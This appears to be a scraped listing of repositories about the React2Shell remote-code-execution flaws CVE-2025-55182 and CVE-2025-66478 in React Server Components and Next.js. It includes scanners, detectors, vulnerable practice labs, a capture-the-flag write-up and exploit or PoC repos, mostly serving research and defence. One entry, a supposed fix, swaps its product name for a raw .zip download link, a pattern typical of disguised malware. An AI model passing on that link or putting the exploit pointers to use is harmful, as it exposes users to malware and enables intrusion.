react2shell-ultimate

Escáner React2Shell Ultimate v2.0 Escáner profesional de vulnerabilidades RCE RSC Next.js para CVE-2025-66478 🎯 Descripción general React2Shell Ultimate es un escáner integral de vulnerabilidades para CVE-2025-66478: una vulnerabilidad crítica de ejecución remota de código RCE que afecta a...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Escáner RSC RCE de Next.js y Colección de POC/Exploit CVE-2025-66478 Un escáner de línea de comandos para la detección por lotes de versiones de aplicaciones Next.js y determinar si están afectadas por la vulnerabilidad CVE-2025-66478. Este escáner no explota la vulnerabilidad Descripción de la...

react2shell-scanner

react2shell-scanner Una herramienta de línea de comandos para detectar CVE-2025-55182 y CVE-2025-66478 en aplicaciones Next.js que utilizan React Server Components. Para obtener detalles técnicos sobre la vulnerabilidad y la metodología de detección, consulta nuestra publicación de blog:...

fix-react2shell-next

🚀 fix-react2shell-next - 修复您的 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 应用中的漏洞 📥 立即下载 📝 概述 fix-react2shell-next 帮助您解决 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 或 React RSC...

react2shell-PoC

React2Shell Plantilla de Nuclei para detectar React2Shell CVE-2025-55182 y CVE-2025-66478...

react2shell-detector

Detector de React2Shell Una extensión de Chrome para detectar vulnerabilidades React2Shell CVE-2025-55182 y CVE-2025-66478 en aplicaciones web. Descripción general React2Shell Detector es una extensión de navegador que ayuda a investigadores de seguridad y desarrolladores web a identificar posibl...

ReactOOPS-WriteUp

ReactOOPS - Writeup del Desafío Web HTB Autor : TheStingR - Equipo ISP1337Hackers Desafío : ReactOOPS Web Plataforma : Hack The Box Dificultad : Muy Fácil - RETIRADO Fecha de resolución : 13 de diciembre de 2025 Tabla de Contenidos 1. Resumen Ejecutivo 2. Descripción del Desafío 3. Análisis de...

react2shell-vulnlab

React2Shell Tribune — LABORATORIO DE APLICACIONES WEB VULNERABLES Una aplicación web moderna de Next.js con temática de portal de noticias/blogs para CVE-2025-55182 React y CVE-2025-66478 Next.js para aprender, detectar y practicar de forma segura React2Shell. Ejecuta React 19.0.0 y Next.js 15.0....

CVE-2025-55182

CVE-2025-55182 React2shell exploit CVE-2025-55182+CVE-2025-66478...

CVE-2025-66478

CVE-2025-66478 - Next.js Server Actions RCE 漏洞實際攻擊日誌分析 概述 本專案收集了一個暴露在網際網路上的 Next.js 15.1.2 應用程式（執行於 Docker 容器中）所記錄的真實攻擊日誌。這些日誌展示了 CVE-2025-66478 漏洞在野外被大量自動化攻擊工具掃描和利用的情況。 紀錄時間範圍 : 2025-12-04 2025-12-06（約 48 小時） 環境資訊 : 框架: Next.js 15.1.2 執行環境: Bun v1.2.20 容器: Docker Alpine Linux 時區: Asia/Taipei...

react2shell

React2Shell 用于检测 React Server Components 和 Next.js Server Actions 中两个严重 RCE 漏洞的 CLI 工具 + Nuclei 模板。 该扫描器基于已公开的 react2shell 漏洞进行了重写。 漏洞概述 CVE-2025-55182 – React Server Components 反序列化 RCE React Flight 反序列化过程中的一个缺陷允许用户控制的引用解析为服务器函数，从而导致远程代码执行。 影响 React 19.0.0–19.2.0 。 CVE-2025-66478 – Next.js Serve...

React2Shell_Hunter

React2Shell Hunter Kit de detección en toda la organización de AWS para CVE-2025-55182 y CVE-2025-66478 ⚠️ DESCARGO DE RESPONSABILIDAD IMPORTANTE: LEA ANTES DE USAR Este kit NO ha sido probado en un entorno AWS de producción. Debido a limitaciones de infraestructura, este proyecto se desarrolló y...

CHECK-CVE-2025-55182-AND-CVE-2025-66478

检查 CVE-2025-55182 和 CVE-2025-66478 此脚本检测服务器是否受 RSC/Next.js RCE 漏洞 CVE-2025-55182 和 CVE-2025-66478 影响。 它检查服务器响应中的特定漏洞特征。 根据 Searchlight Cyber 的说法，这些特征应当是特定的。 因此，此 shell 脚本的实现遵循了 Searchlight Cyber 的见解。 我目前只有关于这些 CVE 的德文信息，但这些信息是由德国联邦信息安全办公室官方发布的： React Server Components: Kritische Schwachstelle...

poc-cve-next

PoC for Next.js Vulnerability. Credits where credits are due. This was written in go but I got inspiration from: github.com/namest504/CVE-2025-66478 For more info visit that repo. Cheers! Disclaimer This code is provided for security research and educational purposes only. Using this tool against...

-vercel-application-is-vulnerable-to-CVE-2025-66478.

-vercel-application-is-vulnerable-to-CVE-2025-66478. bug bounty...

react2shellVulnApp

Laboratorio de Aplicación Bancaria Vulnerable React2Shell Aplicación bancaria deliberadamente vulnerable para CVE-2025-55182 React y CVE-2025-66478 Next.js para aprender, detectar y ejercitar de forma segura React2Shell. Ejecuta React 19.0.0 y Next.js 15.0.3 sin parches. Descripción general...

next-cve-2025-66478

NextJS CVE-2025-66478 Escanea todos los proyectos vulnerables a CVE-2025-66478 en el directorio de trabajo actual y los reporta. Obtén más información sobre CVE-2025-66478 Advertencia Este script no soluciona ninguna vulnerabilidad. Solo sirve para localizarlas. Por favor, consulta este artículo...

React2Shell

RSC Sentinel Una extensión de Firefox para detectar vulnerabilidades React2Shell CVE-2025-55182 y CVE-2025-66478 en aplicaciones web. 👁️ Descripción general RSC Sentinel es una extensión de navegador Firefox para investigadores y educadores de seguridad que desean observar los indicadores de React...

react2shell-scanner

react2shell-scanner Un escáner de vulnerabilidades de línea de comandos de alta fidelidad para detectar CVE-2025-55182 y CVE-2025-66478 Ejecución Remota de Código en aplicaciones Next.js que utilizan React Server Components RSC. 🚨 Resumen de Vulnerabilidades Estas vulnerabilidades críticas afecta...

react2shell-scanner-CVE-2025-55182

React2Shell Enterprise Scanner 用于 CVE-2025-55182 和 CVE-2025-66478 的高保真漏洞扫描器——React Server Components / Next.js 中的远程代码执行漏洞。 📖 如需详细技术分析、漏洞利用机制和 IOC 数据，请参阅SECURITY-RESEARCH.md ⚠️ 免责声明 本工具仅供教育和授权安全测试目的使用。 未经授权访问计算机系统是非法的。仅在你拥有或获得明确书面许可的系统上使用这些工具。作者不对滥用行为承担任何责任。 🚨 漏洞概述 CVE| 描述| CVSS ---|---|---...